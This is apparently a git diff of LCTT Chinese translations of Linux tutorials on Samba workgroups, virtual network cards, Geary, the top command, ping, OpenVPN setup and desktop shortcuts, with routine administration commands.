> 如何更改Samba的工作组名和Ubuntu的计算机名称?
|
||||
|
||||
对于大多数Ubuntu用户,改变他们的计算机名称是极少发生的事情,更别说samba工作组了。一些进阶使用者可能要学习如何用Ubuntu很简单的做到这一点。
|
||||
|
||||
当涉及到在Ubuntu中更改计算机名时,我们曾写过一个简单的帖子,可以点击[这里][1]找到。按照这个[怎样修改你的计算机名字][1]的简易指南来实现目的。
|
||||
|
||||
也许还有其他方法来改变你在Ubuntu中的计算机名,但是这是最简单和最快的。对于那些使用Ubuntu系统的服务器,你可以用vi或vim编辑的主机名和主机文件。那些不了解这些编辑器的人也许很难使用vi或vim。
|
||||
|
||||
在键盘上按**Ctrl – Alt – T**打开终端来更改Ubuntu中的Samba工作组。当终端打开时,运行以下命令来编辑的Samba的配置文件。
|
||||
|
||||
sudo gedit /etc/samba/smb.conf
|
||||
|
||||
打开这个文件后,请确保在[global]段中workgroup起始的那行的单词或值是你想要的工作组。例如,如果你希望工作组变成UBGP,将WORKGROUP替换成UBGP,并保存该文件。在大多数情况下,你必须重启动计算机以使之生效。
|
||||
|
||||

|
||||
|
||||
以上就是如何在Ubuntu中更改你的计算机名以及工作组的方法。记住,如果你这样做是为了共享或访问Windows文件和文件夹,还必须安装Samba。没有Samba,你将难以与Windows共享文件。
|
||||
|
||||
运行下面的命令安装Samba。
|
||||
|
||||
sudo apt-get install samba
|
||||
|
||||
欢迎回来掌握更多的Ubuntu小技巧。
|
||||
|
||||
尽情享受吧!
|
||||
|
||||
---
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/
|
||||
|
||||
译者:[crowner](https://github.com/crowner),[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://linux.cn/article-2199-1.html
|
@ -0,0 +1,42 @@
|
||||
Ubuntu每日小贴士 - 在Ubuntu下创建虚拟网卡
|
||||
================================================================================
|
||||
|
||||
这个教程是为那些想用Ubuntu做点小实验的用户准备的。这并不适用于所有人,尤其是那些在(正式环境中)使用生产机器的用户。
|
||||
|
||||
如果你对网络运行和IP网络有所了解,你应该知道在大多数情况下,每个网卡只会分配一个IP地址。我们习惯认为这是一对一的事物。
|
||||
|
||||
一个网卡对应一个IP地址,你在一台机器上的一个网卡及其IP地址只能绑定或运行单一的网络服务/端口。例如,如果你想在80端口运行一个web服务器,而一个IP地址和端口号只能由一个web服务器监听。这是这样设计的。
|
||||
|
||||
所以,网卡和IP地址并不是一对一的关系,你可以创建可以单独分配IP地址的虚拟网卡。因此,单一的物理网卡可以群集无限的子网卡或虚拟网卡。每一个都能分配它自己IP地址到对应的端口。
|
||||
|
||||
这个简短的教程将展示给你如何在Ubuntu上做到这些。这是在一台电脑上用一张物理网卡和单一的端口号运行及测试多个网络服务的好方式。
|
||||
|
||||
动手吧,运行下列命令打开网络接口文件。
|
||||
|
||||
sudo gedit /etc/network/interfaces
|
||||
|
||||
然后按照下图中的步骤,添加你想要的任意多的虚拟网卡。默认情况下,Linux会给第一张网卡分配eth0的名称,所以如果你的机子只有一张网卡,那么它会被命名为eth0。
|
||||
|
||||
添加虚拟网卡,创建多个静态网卡并命名为eth0:1、eth0:2、eth0:3等等(eth0后面紧跟冒号和数字)。
|
||||
|
||||

|
||||
|
||||
对于你创建的每一个网卡,也要确保网络都是不同的子网,这是网络常识(译注:事实上并非如此,虚拟网卡完全可以是相同子网的IP地址,只要你需要)
|
||||
|
||||
完成以后,保存文件并用下列命令重启网络服务。
|
||||
|
||||
sudo service networking restart
|
||||
|
||||
就是这样!
|
||||
|
||||

|
||||
|
||||
玩得开心!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-create-virtual-network-cards-in-ubuntu-linux/
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,46 @@
|
||||
每日Ubuntu小技巧:一款轻量级的Email阅读器Geary
|
||||
================================================================================
|
||||
|
||||
正如大家所知,Ubuntu 本身自带可以收发邮件的客户端——Thunderbird,当然它也支持Gmail,Yahoo Mail,Microsoft Outlook 等等支持IMAP协议的邮件服务。
|
||||
|
||||
Thunderbird 是一个功能强大的邮件客户端,只要email客户端所需要的功能,它都能够做到。但是如果你想选择一个能在够在GNOME 下运行的轻量级客户端,Geary 是一个不错的选择。
|
||||
|
||||
Geary 是一个界面简洁,能让你快捷方便的地阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上,这样你可以不必点击鼠标来切换消息。
|
||||
|
||||
Geary 还支持IMAP 协议,所以你可以使用Google, Yahoo 和 Microsoft 这样的在线邮箱服务。
|
||||
|
||||
以Ubuntu 13.10用户为例,Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。
|
||||
|
||||
sudo apt-get install geary
|
||||
|
||||
在以前的Ubuntu 版本中,键盘按下**Ctrl – Alt – T** 可以打开终端。打开之后,运行以下命令增加PPA源。
|
||||
|
||||
sudo add-apt-repository ppa:yorba/ppa
|
||||
|
||||
接下来运行以下命令来升级系统和安装Geary 。
|
||||
|
||||
sudo apt-get update && sudo apt-get install geary
|
||||
|
||||
第一次启动Geary时,你需要设置你的Gmail,Yahoo 或 Microsoft 电子邮件帐户。
|
||||
|
||||

|
||||
|
||||
设置非常的简单,只要输入你的账号信息,Geary 就会自动配置好你的账号。
|
||||
|
||||
若想卸载Geary ,首先要从系统中移除它的PPA源,要运行的命令如下。
|
||||
|
||||
sudo add-apt-repository -r ppa:yorba/ppa
|
||||
|
||||
然后再运行以下命令卸载Geary 。
|
||||
|
||||
sudo apt-get remove geary
|
||||
|
||||
就这么简单~
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/
|
||||
|
||||
译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
33
published/201311/Deciphering Top.md
Executable file
33
published/201311/Deciphering Top.md
Executable file
@ -0,0 +1,33 @@
|
||||
解密"top"命令
|
||||
================================================================================
|
||||
|
||||
当对服务器的性能好奇时,我第一个想到的是"top"命令。top不是最好的,它不是一个长期的快照,但是它提供了服务器的一个不错的时间点快照,并且试着提供了告诉"现在在发生什么?"。不幸地,如果你没有深入了解不同显示域的意义,top的输出很容易被误解。
|
||||
|
||||
我不会完整解读top命令的[man page][2],当你和时间和意愿时,它一直在那等着你。我想要做的是指出一些我如何得到系统的快速概况的几个要点,并希望得到我接下来该怎么做的指示。top是我在故障排除时的第一站,但这很少会是我唯一的一站。
|
||||
|
||||
[][1]
|
||||
|
||||
top命令我第一个看的是平均负载(load average),它在右上角的屏幕上。平均负载的计算是基于统计搜集到的数量,但是通常可以认为是CPU被请求工作的数量。如果你的机器有一个单核CPU,那么平均负载是1就意味着机器满载的,并且有足够的能力在采样时间内完成任务。同样地,如果平均负载是2,那对单核的CPU是超载的,并需要2个可用内核才能在同样的采样时间内完成的要求的任务。随着8、16、32核的发售,我会在判断平均负载的时候就要注意一下。比如我需要去检测时,我会在top里按了数字"1",这会列出所有CPU核列表,这样我就可以得到一个快速计数用于比较负载。
|
||||
|
||||
我检查的第二项是上面列出来的内容的第9列,标记着"%CPU"那个。对这一列的解释是很模糊的:
|
||||
|
||||
> 任务所分享的上次屏幕刷新后的CPU运行时间,以全部的CPU时间百分比表示。在一个真正的SMP(多处理器)环境中,如果'Irix mode'是关闭的,top会在'Solaris mode'下运行,这里一个任务的cpu使用率将除以全部的CPU数量。你可以用'I'(大写字母I)这个交互命令触发Irix或Solaris模式。
|
||||
|
||||
一点也不清楚,是么?这里要记住的主要意思是,如果单个进程由于某个原因或者其他因素占用率升高,那么他很有可能会以%CPU很高的数字显示在top的第一行。
|
||||
|
||||
我下一个注意到的区域是"Cpu(s):"这一行,在头部信息的中间。特别地,我对%us、sy%、%id、和%wa感兴趣,它们分别是用户进程、系统进程、空闲时间和CPU用于等待I/O流执行的时间比例。这个百分比应该接近于0,高于5%时需要密切关注。
|
||||
|
||||
最后,我想要看看系统up时间,这显示在左上角。如果我对一台服务器有疑问,并且这台服务器最近重启过,这里可能会发现一些什么,或许是一个守护进程没有启动。
|
||||
|
||||
这些检查只需要几秒。如果我只是观察,我可能让top运行几分钟并观察进程、CPU和负载,但是通常地我很快地进入和退出top。top是给你一个系统健康概况的那些奇妙系统管理员工具之一,并允许你快速诊断潜在的问题。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://ostatic.com/blog/deciphering-top
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.flickr.com/photos/51724787@N06/10847969205/
|
||||
[2]:http://www.linuxmanpages.com/man1/top1.php
|
68
published/201311/Five Examples Of The ping Utility.md
Normal file
68
published/201311/Five Examples Of The ping Utility.md
Normal file
@ -0,0 +1,68 @@
|
||||
五个 ping 工具的使用实例
|
||||
================================================================================
|
||||
|
||||
### 什么是 ping 工具###
|
||||
|
||||
在讲述一些关于ping工具真实直观的使用实例前,先让我来介绍一下这个命令行工具及其目的。ping工具通常用来测试一台主机在互联网协议(IP)网络内的可达性。其名字源于主动声纳法——在水下创建一个脉冲声音信号(ping)并侦听周围物体的返回信号。该方法同样生动描述了ping网络工具的工作原理。ping工具对一台主机发送回应请求然后等待ICMP响应。
|
||||
|
||||
实践中的ping工具的一些例子:
|
||||
|
||||
### 查询主机的IP地址 ###
|
||||
|
||||
有时候你需要得到某一台主机的IP地址,如图一。只需要键入ping命令后面跟上要查询的主机名。
|
||||
|
||||
ping www.omgubuntu.com
|
||||
|
||||

|
||||
|
||||
### 查询正在使用的ping工具的版本信息 ###
|
||||
|
||||
用 -V 选项可以用来查询你手头上ping工具的版本信息。键入下列命令显示正在使用的ping工具的版本信息。
|
||||
|
||||
ping -V
|
||||
|
||||
正如你从图二见到的,我正在使用的是“ping utility,iputils-sss20101006”
|
||||
|
||||

|
||||
|
||||
### 自动退出 ping ###
|
||||
|
||||
当你用‘ping 主机’命令ping一台机器时,ping自己无法停止,你必需按下CTRL+C强行退出,或者你可以用 -c (count)选项指定发送包的数量。使用-c选项,当网络管理员(其实普通用户也可以)发送完指定数量的包之后,无需按CTRL+C,ping进程就会自动停止。
|
||||
|
||||
ping -c 13 127.0.0.1
|
||||
|
||||
上列的命令发送了13个包到我的本地主机上。
|
||||
|
||||

|
||||
|
||||
正如你从图三看到的,我并没有按CTRL+C,而ping自动退出了。
|
||||
|
||||
### 指定数据包之间的时间间隔 ###
|
||||
|
||||
你知道ping每秒钟发送一个数据包吗?你喜欢快一点还是慢一点?用 -i 选项能指定包之间的时间间隔。用下列命令快速发送或慢速发送包。
|
||||
|
||||
### 每0.13秒发送一个包 ###
|
||||
|
||||
ping -i 0.13
|
||||
|
||||

|
||||
|
||||
### 每13秒发送一个包 ###
|
||||
|
||||
ping -i 13
|
||||
|
||||
### 结合 -i 选项和 -c 选项 ###
|
||||
|
||||
ping -c 13 -i 3
|
||||
|
||||
总共花费39秒发出13个数据包,数据包的时间间隔为三秒。
|
||||
|
||||

|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/five-examples-ping-utility/
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -1,12 +1,13 @@
|
||||
Linux上如何架设 OpenVPN 建立安全的远程网络[part 1]
|
||||
Linux上如何通过 OpenVPN 建立安全的远程连接【上】
|
||||
================================================================================
|
||||
|
||||
一直以来,我们在互联网上传输信息时,都谨慎地为这些信息加密,以防内容泄露出去,特别是在政府的干预下,为网络上每个字节都进行加密已经变得空前重要了。在这种情况下,OpenVPN 是保障网络信息安全的首选。今天我们就来学习一下如何架设 OpenVPN,使你可以在任何场所都能安全地访问家里的服务器。
|
||||
|
||||
VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安全性只比通过 SSL 保护的网站高一点点,原因是它们信任所有客户端。一个真正意义上的 VPN 用于在非可信网络上连接两个可信的终端。用户不能随便找一台 PC 机就能登录进 VPN,因为你的 VPN 如果能被一台受到病毒感染的 PC 登录进来,不管它们建立的连接有多么安全,都不是一件好事情。所以你必须在你的客户端和服务器端都要好好地配置一下 VPN 服务。
|
||||
|
||||
### OpenVPN 快速入门 ###
|
||||
|
||||
你需要两台不同子网下的计算机,比如同一网段一台使用网线的 PC 和一台使用无线 的 PC(或者是 VitualBox 虚拟机上的多台Linux客户机),并且你要知道它们的 IP 地址。这里分别为这两台计算机命名为“Studio”和“Shop”,都给它们安上 OpenVPN。OpenVPN 支持大多数 Linux 发行版,所以你只要用你手头的安装包管理软件就行。本文的包管理器是 Debian、Ubuntu 以及它们的衍生版中使用的 apt-get,下面安装 OpenVPN:
|
||||
你需要两台不同子网下的计算机,比如同一网络内一台使用网线的 PC 和一台使用无线 的 PC(或者是 VitualBox 虚拟机上的多台Linux客户机),并且你要知道它们的 IP 地址。这里分别为这两台计算机命名为“Studio”和“Shop”,都给它们装上 OpenVPN。OpenVPN 支持大多数 Linux 发行版,所以你只要用你手头的安装包管理软件就行。本文的包管理器是 Debian、Ubuntu 以及它们的衍生版中使用的 apt-get,下面安装 OpenVPN:
|
||||
|
||||
$ sudo apt-get install openvpn openvpn-blacklist
|
||||
|
||||
@ -16,11 +17,13 @@ VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安
|
||||
|
||||
$ ps ax|grep openvpn
|
||||
|
||||
如果 openvpn 这个后台进程存在,那就 kill 了它。这里假设“Studio”这台 PC 的 IP 是192.168.1.125,“Shop”的 IP 是192.168.2.125。现在在“Studio”端开启一个未加密的连接到“Shop”端:
|
||||
如果 openvpn 这个后台进程存在,那就 kill 了它。这里假设“Studio”这台 PC 的 IP 是192.168.1.125,“Shop”的 IP 是192.168.2.125。
|
||||
|
||||
现在在“Studio”端开启一个未加密的连接到“Shop”端:
|
||||
|
||||
$ sudo openvpn --remote 192.168.2.125 --dev tun0 --ifconfig 10.0.0.1 10.0.0.2
|
||||
|
||||
然后开一个从“Shop”到“Studio”的连接:
|
||||
然后再开一个从“Shop”到“Studio”的连接:
|
||||
|
||||
$ sudo openvpn --remote 192.168.1.125 --dev tun0 --ifconfig 10.0.0.2 10.0.0.1
|
||||
|
||||
@ -36,7 +39,7 @@ VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安
|
||||
Wed Oct 16 2013 Peer Connection Initiated with [AF_INET]192.168.2.125:1194
|
||||
Wed Oct 16 2013 Initialization Sequence Completed
|
||||
|
||||
看到“Initialization Sequence Completed”这句话时,说明你的操作成功了。这时你应该能够 ping 通两个隧道的 IP:ping 10.0.0.1 和 ping 10.0.0.2。当你建立隧道的时候,你无需在意你所在的网络,你可以为你的隧道指定任何 IP 地址。关闭隧道请按 Ctrl+c。
|
||||
看到“**Initialization Sequence Completed**”这句话时,说明你的操作成功了。这时你应该能够 ping 通两个隧道的 IP:ping 10.0.0.1 和 ping 10.0.0.2。当你建立隧道的时候,你无需在意你所在的网络,你可以为你的隧道指定任何 IP 地址。关闭隧道请按 Ctrl+c。
|
||||
|
||||
现在你可以利用这个隧道打开一个 SSH 会话了。图1显示了通过 VPN 隧道登录 SSH 的例子,这个图也显示了有趣的 Message of the Day(MOTD)图片,图片来自于博客《[在你的 Linux 系统上放一张奶牛的 MOTD 图片][2]》:
|
||||
|
||||
@ -46,11 +49,11 @@ VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安
|
||||
|
||||
*图1:成功通过 VPN 隧道建立 SSH 会话,并显示了有趣的 MOTD 图片*
|
||||
|
||||
哼哼哈𠯋,它运行得不错。
|
||||
哼哼哈嘿,它运行得不错!
|
||||
|
||||
### 加密后的 VPN 隧道 ###
|
||||
|
||||
目前为止,我们玩得还不赖,但是没有使用加密技术,一切都毫无意义,所以我们需要建立一个简单的静态密钥配置文件。不像公钥基础设施(PKI),有着根认证中心、可撤消认证等安全措施,我们的加密机制没有那么强悍,但是对于仅仅想远程到家里的用户来说,已经足够了。OpenVPN 有提供创建静态密钥的命令,我们可以建立目录存储密钥、创建密钥,并将文件设为对file owner只读模式:
|
||||
目前为止,我们玩得还不赖,但是没有使用加密技术,一切都毫无意义,所以我们需要建立一个简单的静态密钥配置文件。不像公钥基础设施(PKI),有着根认证中心、可撤消认证等安全措施,我们的加密机制没有那么强悍,但是对于仅仅想远程到家里的用户来说,已经足够了。OpenVPN 有提供创建静态密钥的命令,我们可以建立目录存储密钥、创建密钥,并将文件设为对属主只读模式:
|
||||
|
||||
$ sudo mkdir /etc/openvpn/keys/
|
||||
$ sudo openvpn --genkey --secret /etc/openvpn/keys/static.key
|
||||
@ -82,7 +85,7 @@ VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安
|
||||
$ sudo openvpn /etc/openvpn/studio.conf
|
||||
$ sudo openvpn /etc/openvpn/shop.conf
|
||||
|
||||
成功建立连接后,你还会看到“Initialization Sequence Completed”这句话,但你不会再看到这句 WARNING(这句话会在你建立了未加密的隧道时出现):
|
||||
成功建立连接后,你还会看到“**Initialization Sequence Completed**”这句话,但你不会再看到这句 WARNING(这句话会在你建立了未加密的隧道时出现):
|
||||
|
||||
******* WARNING *******: all encryption and authentication features disabled
|
||||
|
||||
@ -92,7 +95,7 @@ OpenVPN 本身是比较容易配置的,最麻烦的是处理防火墙和动态
|
||||
|
||||
接下来处理另一件麻烦事:动态 IP 地址。[Dyn.com][3]可以提供一个廉价的方法,为你管理 ISP 分配给你的动态 IP,或者你也可以向你的 ISP 支付一笔费用,从而得到一个静态 IP。
|
||||
|
||||
至此,你可以宣告工作完成了,接下来的任务就是手动开启服务器端的 OpenVPN,让它一直运行在那里,等待你的登录。你可以将你的笔记本拿到外面,并随时随地随心所欲地连接到服务器。然而,关于 OpenVPN 的操作,我还有一些重要的知识点要讲,比如如何为 OpenVPN 设置开机启动,如何利用 Network Manager 自动建立连接,以及这篇 OpenVPN 教程中最重要的一块:如何访问你的远程服务器上的资源。我们下周见。
|
||||
至此,你可以宣告工作完成了,接下来的任务就是手动开启服务器端的 OpenVPN,让它一直运行在那里,等待你的登录。你可以将你的笔记本拿到外面,并随时随地随心所欲地连接到服务器。然而,关于 OpenVPN 的操作,我还有一些重要的知识点要讲,比如如何为 OpenVPN 设置开机启动,如何利用 Network Manager 自动建立连接,以及这篇 OpenVPN 教程中最重要的一块:如何访问你的远程服务器上的资源。请看下一篇。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
@ -1,10 +1,11 @@
|
||||
OpenVPN 安全手册[part 2]
|
||||
Linux上如何通过 OpenVPN 建立安全的远程连接【下】
|
||||
================================================================================
|
||||
欢迎你们回来继续看我们的 OpenVPN 系列的第二部分。上次我们讲到如何让远端计算机(如笔记本电脑)[通过简单的加密隧道]登录到家里的服务器。今天我们接着讲进阶部分:比如设置 OpenVPN 开机启动,省得我们每次重启服务器的时候都要手动开启 OpenVPN 服务;比如使用 Network Manager 简化访问到远程服务器的过程。
|
||||
|
||||
欢迎你们回来继续看我们的 OpenVPN 系列的下篇。[上次][1]我们讲到如何让远端计算机(如笔记本电脑)[通过简单的加密隧道][1]登录到家里的服务器。今天我们接着讲进阶部分:比如设置 OpenVPN 开机启动,省得我们每次重启服务器的时候都要手动开启 OpenVPN 服务;比如使用 Network Manager 简化访问到远程服务器的过程。
|
||||
|
||||
### 整合到 Network Manager ###
|
||||
|
||||
Network Manager 是一个不错的 OpenVPN 客户端;你只需要安装 network-manager-openvpn 这个插件。我们继续《OpenVPN 安全手册》第一部分使用的配置。打开 Network Manager 配置界面,进入“新建 VPN 连接”的窗口。这个界面布局在 KDE 和 GNOME 下面看起来有点不一样,但是大体的信息是一样的。开始的时候你需要选择 OpenVPN 作为你的 VPN 连接类型,就像图1所示;如果你没看到 OpenVPN 的选项,说明你没有安装好插件。(图1是一张 GNOME 下面的图片。)
|
||||
Network Manager 是一个不错的 OpenVPN 客户端;你只需要安装 network-manager-openvpn 这个插件。我们继续[上篇][1]使用的配置。打开 Network Manager 配置界面,进入“新建 VPN 连接”的窗口。这个界面布局在 KDE 和 GNOME 下面看起来有点不一样,但是大体的信息是一样的。开始的时候你需要选择 OpenVPN 作为你的 VPN 连接类型,就像图1所示;如果你没看到 OpenVPN 的选项,说明你没有安装好插件。(图1是一张 GNOME 下面的图片。)
|
||||
|
||||

|
||||
|
||||
@ -12,20 +13,20 @@ Network Manager 是一个不错的 OpenVPN 客户端;你只需要安装 networ
|
||||
|
||||
图2显示了配置主界面。从上到下分别为:
|
||||
|
||||
- 连接名,任取一个。
|
||||
- 连接名,随便取一个。
|
||||
- 远程服务器的网关。
|
||||
- 下拉菜单选择静态密钥(Static Key)。
|
||||
- 然后通过文件浏览器找到静态密钥文件。
|
||||
- 这个不是方向性的密钥,所以 Key Direction 这里设为 None。
|
||||
- 远程 IP 和 本地 IP 是我们在上一部分已经设置好的虚拟 OpenVPN 地址,可分别通过 /etc/openvpn/studio.conf 和 /etc/openvpn/shop.conf 文件获得。
|
||||
- 我们无需设置密码,所以“Show passwords”复选框为空。
|
||||
- 这个连接是“所有人都可用”,还是只有你可用,随你喜欢。
|
||||
- 这个VPN连接是“所有人都可用”,还是只有你可用,随你喜欢。
|
||||
|
||||

|
||||
|
||||
*图2:Network Manager 配置 OpenVPN 客户端主界面*
|
||||
|
||||
保存然后就可以使用 Network Manager 建立连接了。So easy,妈妈再也不用担心你的学习了!看见图3了么?你现在只需点击一下高亮的按钮就可以连接到你的家庭服务器,或从你的家庭服务器中断开连接。
|
||||
保存然后就可以使用 Network Manager 建立连接了。So easy,妈妈再也不用担心我的学习了!看见图3了么?你现在只需点击一下高亮的按钮就可以连接到你的家庭服务器,或从你的家庭服务器中断开连接。
|
||||
|
||||

|
||||
|
||||
@ -42,7 +43,7 @@ Ubuntu 使用 Upstart 管理服务进程,Debain 使用的老的 SysV,而 Fed
|
||||
|
||||
# systemctl start openvpn@studio.service
|
||||
|
||||
这里的“studio.service”与我们在第一部分讲过的例子中的 /etc/openvpn/studio.conf 配置的服务相对应。用这些方法启动的后台进程,在系统重启后会失效,所以这些方法都和第一部分讲的启动方式一样,仅能使 OpenVPN 运行一次。你可以将启动 OpenVPN 进程的任务交给 chkconfig:
|
||||
这里的“studio.service”与我们在上篇讲过的例子中的 /etc/openvpn/studio.conf 配置的服务相对应。用这些方法启动的后台进程,在系统重启后会失效,所以这些方法都和上篇讲的启动方式一样,仅能使 OpenVPN 运行一次。你可以将启动 OpenVPN 进程的任务交给 chkconfig:
|
||||
|
||||
# service openvpn start
|
||||
# chkconfig openvpn on
|
||||
@ -60,11 +61,11 @@ OpenVPN 的健壮性足够维持一条持久的连接,即使服务宕掉。而
|
||||
|
||||
### 现在,该做些什么? ###
|
||||
|
||||
你已经完成了所有设置,并且你的服务工作正常,你接下来能用这个干点什么?如果你以前一直用 OpenSSH 来远程你的服务器,你会有这样的思维定势:你可以利用 OpenVPN 登录到远程机器,然后跑上面的应用。你要是那样做,就太浪费 OpenVPN 了。你可以将 OpenVPN 想像成是一条虚拟的以太网电缆接到你的服务器上或者是你的局域网内,这条电缆还包着厚厚的加密保护。你可以在它提供的隧道上跑任何加密的不加密的服务,并且只需要在防火墙上开一个端口。
|
||||
你已经完成了所有设置,并且你的服务工作正常,你接下来能用这个干点什么?如果你以前一直用 OpenSSH 来远程你的服务器,你会有这样的思维定势:你可以利用 OpenVPN 登录到远程机器,然后跑上面的应用。你要是那样做,就太浪费 OpenVPN 了。你可以将 OpenVPN 想像成是一条虚拟的以太网电缆接到你的服务器上或者是你的局域网内,这条电缆还包着厚厚的加密保护。你可以在它提供的隧道上跑任何加密的或不加密的服务,并且只需要在防火墙上开一个端口。
|
||||
|
||||
所以你可以利用 OpenVPN 隧道来建立 SSH 连接,然后远程到服务器,然后在服务器上跑应用。你可以访问到网络资源,比如文件共享和 Web 应用。你可以强制让你的电脑通过 VPN 隧道访问到网络,但我认为你会想要同时能够使用本地网络和 VPN 网络的。
|
||||
|
||||
所以,在你的笔记本上你可以上网冲浪,使用 SSH,做你想做的任何事,上你想上的任何网络。当你想利用 OpenVPN 隧道做一些事情时,你只需要打开它,然后输入 IP 地址:
|
||||
所以,在你的笔记本上你可以上网冲浪,使用 SSH,做你想做的任何事,上你想上的**任何**网络。当你想利用 OpenVPN 隧道做一些事情时,你只需要打开它,然后输入 IP 地址:
|
||||
|
||||
$ ssh carla@10.0.0.1
|
||||
|
||||
@ -84,10 +85,10 @@ OpenVPN 的健壮性足够维持一条持久的连接,即使服务宕掉。而
|
||||
|
||||
via: http://www.linux.com/learn/tutorials/745233-how-to-set-up-secure-remote-networking-with-openvpn-on-linux-part-2
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.linux.com/learn/tutorials/743590-secure-remote-networking-with-openvpn-on-linux
|
||||
[1]:http://linux.cn/article-2286-1.html
|
||||
[2]:http://10.0.0.1/drupal
|
||||
[3]:http://10.0.0.1/owncloud
|
@ -1,13 +1,14 @@
|
||||
如何在Linux的桌面上创建快捷方式或启动器
|
||||
===
|
||||
假如在Linux桌面系统中有一个程序你经常使用,你可能想去创建一个“桌面快捷方式”,以便于你在桌面只要点击一下快捷方式就可以启动它。大多数带有图形界面的程序会在安装时自动在桌面上创建快捷方式,还有一些图形界面程序或者命令行程序可能需要你手动创建快捷方式。
|
||||
如果在Linux桌面系统中你经常使用一个程序,你可能想去创建一个“桌面快捷方式”,以便于你在桌面只要点击一下快捷方式就可以启动它。虽然不少带有图形界面的程序会在安装时自动在桌面上创建快捷方式,还有一些图形界面程序或者命令行程序可能需要你手动创建快捷方式。
|
||||
|
||||
在这个手册里,我将告诉你**如何在不同的Linux桌面上添加桌面快捷方式**。
|
||||
在这个教程里,我将告诉你**如何在不同的Linux桌面上添加桌面快捷方式**。(译注:其实除了作者所述的这些方法外,各种桌面上也还有更简便的方法,大家可以评论分享自己的经验)
|
||||
|
||||
一个桌面快捷方式是由内含该APP元信息(例如,app的名字,启动命令或者图标位置等)的.desktop文件所表示的。桌面快捷方式文件放置于**/usr/share/applications**或者**~/.local/share/applications**处。前一个目录存储每个人都可以使用桌面快捷方式,而后一个目录则含有特定用户创建的快捷方式。
|
||||
一个桌面快捷方式是由内含该APP元信息(例如,app的名字,启动命令或者图标位置等)的.desktop文件所表示的。桌面快捷方式文件放置于**/usr/share/applications**或者**~/.local/share/applications**处。前一个目录存储的桌面快捷方式每个用户都可以使用,而后一个目录则含有仅仅为特定用户创建的快捷方式。
|
||||
|
||||
###使用命令行创建桌面快捷方式
|
||||
为特定程序或命令创建桌面快捷方式,你可以使用任意文本编辑器创建一个.desktop文件,然后把它放到**/usr/share/applications**或者**~/.local/share/applications**处。一个典型的.desktop文件像下面这样。
|
||||
|
||||
要为特定程序或命令创建桌面快捷方式,你可以使用任意文本编辑器创建一个.desktop文件,然后把它放到**/usr/share/applications**或者**~/.local/share/applications**处。一个典型的.desktop文件如下图所示。
|
||||
|
||||
[Desktop Entry]
|
||||
Encoding=UTF-8
|
||||
@ -21,17 +22,17 @@
|
||||
Categories=Application;Network;Security; #categories in which this app should be listed.
|
||||
Comment[en_US]=yEd Graph Editor #comment which appears as a tooltip.
|
||||
|
||||
除了手动创建.desktop文件之外,依据你的系统所采用的桌面环境的不同有不同的创建应用快捷方式的方法,接下来我们将会讲解这方法。
|
||||
除了手动创建.desktop文件之外,依据你的系统所采用的桌面环境的不同有不同的创建应用快捷方式的方法,接下来的教程我将为你讲解。
|
||||
|
||||
###在GNOME桌面下创建快捷方式
|
||||
|
||||
在GNOME桌面环境下,你可以使用gnome-desktop-item-edit很容易的去创建一个桌面快捷方式。
|
||||
在GNOME桌面环境下,你可以使用gnome-desktop-item-edit轻松创建创建一个桌面快捷方式。
|
||||
|
||||
$ gonme-desktop-item-edit ~/.local/share/applications --create-new
|
||||
|
||||
在这个例子中,gnome-desktop-item-edit会在目录~/.local/share/applications中自动创建一个桌面启动器文件。若是想自定义快件方式图标或者其它信息,你可以手动编辑.desktop文件。
|
||||
在这个例子中,gnome-desktop-item-edit会在目录~/.local/share/applications中自动创建一个桌面启动器文件。若是想自定义快捷方式图标或者其它信息,你可以手动编辑.desktop文件。
|
||||
|
||||
假如你的系统上没有安装gnome-desktop-item-edit(例如,在Ubuntu上),你可以依照下面方式安装:
|
||||
如果在你的系统上,gnome-desktop-item-edit不可用(例如,在Ubuntu上),你可以依照下面方式安装:
|
||||
|
||||
$ sudo apt-get install --no-install-recommends gnome-panel
|
||||
|
||||
